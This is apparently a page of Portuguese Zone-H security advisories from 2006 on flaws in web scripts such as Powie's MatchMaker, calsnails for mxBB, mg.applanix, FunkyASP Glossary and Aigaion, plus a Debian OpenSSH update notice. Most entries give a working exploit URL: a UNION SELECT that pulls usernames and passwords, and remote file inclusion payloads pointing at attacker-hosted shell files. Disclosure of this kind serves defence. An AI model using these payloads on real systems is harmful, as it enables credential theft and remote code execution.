Zone-H - Unrestricted Information - Avisos de Segurança

Avisos de Segurança

Powie's MatchMaker: Injeção de Codigos SQL

Por Raphael Martins (Ashiyakuza)
17 de novembro de 2006
Nome do Script: Powie's MatchMaker Site do script: http://www.powie.de Versão Afetada: 4.05 e anteriores Encontrado por SHiKaA Email: SHiKaA- [at] hotmail.com Exploração: http://target.com/(path to script)/matchdetail.php?edit=-1 UNION SELECT 0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1

Modulo calsnails para mxBB: Inclusão de Arquivos Remotos

Por Raphael Martins (Ashiyakuza)
17 de novembro de 2006
Nome do Script: Modulo calsnails para mxBB Site do script: www.snailsource.com Versão Afetada: 1.06 Encontrado por bd0rk Email: bd0rk [at] hackermail.com Exploração: http://[site]/[path]/includes/mx_common.php?module_root_path=http://Y0urSh3LL?

mg.applanix: Múltiplas Falhas de Inclusão de Arquivos Remotos

Por Raphael Martins (Ashiyakuza)
17 de novembro de 2006
Nome do Script: mg.applanix Site do script: http://freshmeat.net/projects/applanix/ Versão Afetada: 1.3.1 e anteriores Encontrado por v1per-haCker Email: v1per-hacker [at] hotmail.com Exploração: http://localhost/path/act/act_check_access.php?apx_root_path=http://EvElCoDe.txt? http://localhost/path/dsp/dsp_form_booking_ctl.php?apx_root_path=http://EvElCoDe.txt? http://localhost/path/dsp/dsp_bookings.php?apx_root_path=http://EvElCoDe.txt?

DSA-1212: Pacote de Atualização para o OpenSSH

Por Raphael Martins (Ashiyakuza)
16 de novembro de 2006
Debian emitiu um pacote de atualização para o openssh, isto repara algumas vulnerabilidades, que podem ser explorados por pessoas maliciosos para causar um DoS (negação de serviço) e para comprometer potencial um sistema vulnerável. Abaixo seque a lista de atualização e plataformas...
Leia mais...

FunkyASP Glossary: Injeção de Codigos SQL

Por Raphael Martins (Ashiyakuza)

15 de novembro de 2006

Nome do Script: FunkyASP Glossary
Site do script: http://www.funkyasp.co.uk/
Versão Afetada: 1.0

Encontrado por Laurent Gaffié
Email: saps.audit [at] gmail.com

Exploração:

http://site.com/glossary/glossary.asp?alpha='[sql]

Aigaion: Inclusão de Arquivos Remotos

Por Raphael Martins (Ashiyakuza)
14 de novembro de 2006
Nome do Script: Aigaion Site do script: www.aigaion.nl Versão Afetada: 1.2.1 Encontrado por navairum Email: navairum [at] gmail.com Exploração: http://site/[PATH]/_basicfunctions.php?DIR=http://site/uhoh.txt? http://site/[PATH]/pageactionauthor.php?DIR=http://site/uhoh.txt?

Mais...

<< Início < Anterior 1 2 3 4 5 6 7 8 9 10 Próximo > Fim >>

Resultados 131 - 156 de 240

[Voltar]